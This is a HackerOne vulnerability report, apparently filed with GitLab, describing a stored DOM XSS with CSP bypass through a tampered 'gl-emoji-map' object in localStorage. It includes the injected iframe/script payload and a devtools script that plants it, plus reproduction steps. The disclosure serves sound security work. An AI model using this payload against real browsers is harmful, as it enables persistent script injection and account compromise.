Stored DOM XSS through modified emoji list in local-storage

HackerOne report #1318396 by joaxcar on 2021-08-24, assigned to @dcouture:

Report | Attachments | How To Reproduce

Report

Summary

Clarification
This bug requires modification to a victims browsers local storage. This can be achieved by access to the computer (which might be out of scope) but also from leveraging another XSS. If used in conjunction with another XSS it would be to spread laterly on a victims device. "Good practice" sugests that users should not use admin accounts for regular use, this makes it likely that an initial XSS hits a "normal account". This DOM XSS could then be used to "infect" the browser for all subsequent account logins.

The vulnerability
When editing markdown (or other places where emojis are allowed) entering : will pop up the emoji picker list (see image)

list.png

This list is populated by an object stored in Local Storage called gl-emoji-map. Each entry in the map looks like this

100: {  
  "c": "symbols",  
  "e": "💯",  
  "d": "hundred points symbol",  
  "u": "6.0"  
}

If an attacker changes the e value to a javascript string the string will get inlined into the "picker list" and executed. Like so

100:{  
    "c": "symbols",  
    "e": "<iframe/srcdoc='<script/src=/joaxcar_group/first/-/jobs/1415515489/artifacts/raw/data/alert.js></script>'></iframe>",  
    "d": "hundred points symbol",  
    "u": "6.0"  
}

map.png

The gl-emoji-map is shared between all user accounts logging in through the same browser. Thus if one account gets targeted by another XSS and that payload "infects" the browsers like this all other accounts run the risk of also get effected. I guess that this lowers the impact quite a lot. But it is defenetly not insignificant.

The XSS bypasses CSP on Gitlab.com

Steps to reproduce
  1. Go to https://gitlab.com/users/sign_in but do not sign in yet
  2. Open devtools in the browser (press F12)
  3. Paste in this script
// Helper function  
function set(item, value) {  
    return localStorage.setItem(item, JSON.stringify(value))  
}

// Attacker object  
let obj = {100:{  
    "c": "symbols",  
    "e": "<iframe/srcdoc='<script/src=/joaxcar_group/first/-/jobs/1415515489/artifacts/raw/data/alert.js></script>'></iframe>",  
    "d": "hundred points symbol",  
    "u": "6.0"  
}}

// Set all local storage objects needed even if no user have previously logged in  
set("gl-emoji-map",obj)  
set("gl-emoji-version", "0.2.0")  
set("gl-emoji-user-agen","no")  
set("gl-emoji-map-version", 1)  
  1. Log in to Gitlab.com with any user
  2. Go to https://gitlab.com/-/snippets/new
  3. Enter : (a colon) in the field for "Description"
  4. Alert will pop up

pop.png

Impact

Stored DOM XSS with CSP bypass

What is the current bug behavior?

The local storage object gl-emoji-map is not sanitized when injected into the DOM

What is the expected correct behavior?

The object should be sanitized before injection

Output of checks

This bug happens on GitLab.com

Impact

Stored DOM XSS with CSP bypass that could be used to "infect latterly" between accounts using the same browser. Requires that one account gets affected by another XSS or that the attacker gets access to the user browser.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: